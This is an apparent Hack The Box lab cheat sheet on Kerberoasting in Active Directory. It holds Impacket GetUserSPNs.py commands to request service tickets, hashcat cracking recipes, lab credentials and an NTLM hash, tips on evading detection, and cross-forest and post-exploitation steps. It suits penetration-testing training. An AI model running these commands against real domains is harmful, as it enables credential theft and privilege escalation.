Kerberoasting is a powerful lateral movement and privilege escalation technique that targets Service Principal Names (SPNs) in Active Directory environments. This attack exploits the fact that any domain user can request Kerberos tickets for service accounts, and these tickets are encrypted with the service account's NTLM hash, making them susceptible to offline password cracking attacks. Service accounts often have elevated privileges and weak passwords, making Kerberoasting one of the most effective AD attack techniques.
🎯 Attack Theory and Context
🔍 What are Service Principal Names (SPNs)?
SPNs are unique identifiers that Kerberos uses to map service instances to service accounts
Service Accounts run services to overcome network authentication limitations of built-in accounts
Domain Context allows any domain user to request tickets for any SPN in the same domain
Cross-Forest attacks are possible if authentication is permitted across trust boundaries
🎪 Why Kerberoasting is Effective
High Privileges: Service accounts often have local admin or Domain Admin rights
Weak Passwords: Services frequently use weak or default passwords for convenience
Multiple Systems: Service accounts may have admin rights across multiple servers
Group Membership: Often added to privileged groups like Domain Admins (directly or nested)
Business Critical: Service accounts rarely have password expiration policies
⚡ Attack Prerequisites
Domain User Credentials: Cleartext password, NTLM hash, or Kerberos ticket
Domain Context: Shell in domain user context or SYSTEM level access
Domain Controller Access: Ability to query DC for SPN information
Network Connectivity: Access to domain network and DC (port 88, 389, 445)
🔧 Attack Scenarios and Methods
📊 Common Attack Vectors
Scenario
Requirements
Method
Non-domain Linux
Valid domain credentials
Impacket GetUserSPNs.py
Domain-joined Linux
Root access, keytab file
Kerberos authentication
Domain-joined Windows
Domain user authentication
PowerView, Rubeus, built-in tools
SYSTEM on Windows
Local SYSTEM privileges
Multiple tool options
runas /netonly
Non-domain Windows host
Credential impersonation
🛠️ Tool Options for Linux Attacks
Impacket GetUserSPNs.py: Primary Linux tool for SPN enumeration and ticket extraction
Kerberos Utils: Native Linux Kerberos tools (kinit, klist, etc.)
Custom Scripts: Python/Bash scripts leveraging LDAP and Kerberos libraries
Service Admins: Accounts with admin rights on multiple systems
Database Services: Often have elevated privileges (MSSQL, Oracle, SAP)
Exchange Services: May have high privileges in Exchange environments
Backup Services: Often have backup operator rights
⚠️ Detection and Evasion
Unusual TGS Requests: Large numbers of ticket requests may trigger alerts
Service Account Monitoring: Some orgs monitor service account authentication
Behavioral Analysis: Rapid successive ticket requests are suspicious
Time-based Attacks: Spread requests over time to avoid detection
Legitimate SPNs: Focus on real service accounts rather than user accounts with SPNs
🚀 Post-Exploitation Opportunities
SQL Server Access: Use cracked MSSQL service accounts for xp_cmdshell
Service Impersonation: Create service tickets for the compromised SPN
Privilege Escalation: Use high-privilege service accounts for lateral movement
Persistence: Service accounts often don't change passwords frequently
Kerberoasting remains one of the most effective Active Directory attack techniques - by targeting the intersection of service requirements and administrative convenience, it often provides a direct path to high-privilege access in enterprise environments.
GetUserSPNs.py [-h] [-target-domain TARGET_DOMAIN] [-usersfile USERSFILE]
[-request] [-request-user username] [-save] [-outputfile OUTPUTFILE]
[-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
[-dc-ip ip address] target
# Important flags:
# -request Request TGS tickets for all found SPNs
# -request-user USER Request TGS ticket for specific user
# -outputfile FILE Save tickets to file
# -dc-ip IP Domain Controller IP address
# -hashes HASH Use NTLM hash instead of password
# target domain/username[:password]
# Basic SPN enumeration (requires password prompt)
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
# Using credentials in command line
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend:Klmcargo2
# Using NTLM hash
GetUserSPNs.py -dc-ip 172.16.5.5 -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b INLANEFREIGHT.LOCAL/forend
# Target specific domain
GetUserSPNs.py -target-domain LOGISTICS.INLANEFREIGHT.LOCAL -dc-ip 172.16.5.240 INLANEFREIGHT.LOCAL/forend
# Request all available TGS tickets
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
# Save all tickets to file
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request -outputfile all_tickets.txt
# Request ticket for specific user (Domain Admin)
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
# Save specific ticket to file
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs.txt
# Request multiple specific users
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user BACKUPAGENT -outputfile backupagent_tgs.txt
# Step 1: Enumerate SPNs to find SAPService account
GetUserSPNs.py -dc-ip [DC_IP] INLANEFREIGHT.LOCAL/forend
# Step 2: Look for SAPService in the output
# Expected SPN: SAP/SAPService or similar
# Step 3: Request TGS ticket for SAPService specifically
GetUserSPNs.py -dc-ip [DC_IP] INLANEFREIGHT.LOCAL/forend -request-user SAPService -outputfile sapservice_tgs.txt
# Step 4: Crack the ticket with Hashcat
hashcat -m 13100 sapservice_tgs.txt /usr/share/wordlists/rockyou.txt
# Step 5: Show cracked password
hashcat -m 13100 sapservice_tgs.txt --show
# Alternative: Use common SAP default passwords
echo -e "pass\npassword\nsap123\nSAP123\nadmin\nchangeme\nPassword123" > sap_passwords.txt
hashcat -m 13100 sapservice_tgs.txt sap_passwords.txt
# Connect to HTB VPN and SSH to target
ssh htb-student@[TARGET_IP]
# Password: HTB_@cademy_stdnt!
# On the target system, use Impacket
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend:Klmcargo2
# Look for SAPService in output, then request ticket
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend:Klmcargo2 -request-user SAPService
# Save ticket to file for cracking
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend:Klmcargo2 -request-user SAPService -outputfile sapservice.txt
# Crack with Hashcat
hashcat -m 13100 sapservice.txt /usr/share/wordlists/rockyou.txt -O
# Method 1: Check group membership during SPN enumeration
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend:Klmcargo2 | grep -i SAPService
# Method 2: Use CrackMapExec to enumerate groups after cracking password
crackmapexec ldap 172.16.5.5 -u SAPService -p '[CRACKED_PASSWORD]' --users
# Method 3: Use net command on Windows if you have access
# net user SAPService /domain
# Method 4: LDAP query for user details
ldapsearch -H ldap://172.16.5.5 -D "INLANEFREIGHT\forend" -w Klmcargo2 -b "DC=INLANEFREIGHT,DC=LOCAL" "(&(objectClass=user)(sAMAccountName=SAPService))" memberOf
# Method 5: PowerView if you have Windows access
# Get-DomainUser -Identity SAPService | Select-Object memberof
# Filter by service type
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend | grep -i "MSSQL\|HTTP\|SAP\|Oracle"
# Focus on Domain Admin accounts
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend | grep -i "Domain Admins"
# Look for privileged service patterns
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend | grep -E "(admin|svc|service|sql|backup|exchange)"
# Export to file for analysis
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend > spn_enumeration.txt
# Use multiple wordlists in order of likelihood
hashcat -m 13100 tickets.txt /usr/share/wordlists/probable-v2-top12000.txt
hashcat -m 13100 tickets.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 tickets.txt /usr/share/wordlists/kaonashi.txt
# Rule-based attacks
hashcat -m 13100 tickets.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mask attacks for known patterns
hashcat -m 13100 tickets.txt -a 3 ?u?l?l?l?l?l?d?d?d # Password123 pattern
hashcat -m 13100 tickets.txt -a 3 ?l?l?l?d?d?d?d # pass1234 pattern
# Combination attacks
hashcat -m 13100 tickets.txt -a 1 common_words.txt common_numbers.txt
# Target child domains
GetUserSPNs.py -target-domain LOGISTICS.INLANEFREIGHT.LOCAL -dc-ip 172.16.5.240 INLANEFREIGHT.LOCAL/forend
# Target external forest trusts
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL -dc-ip 172.16.5.238 INLANEFREIGHT.LOCAL/forend
# Use different credentials for each domain
GetUserSPNs.py -target-domain CHILD.DOMAIN.COM -dc-ip [CHILD_DC] PARENT.DOMAIN.COM/user:password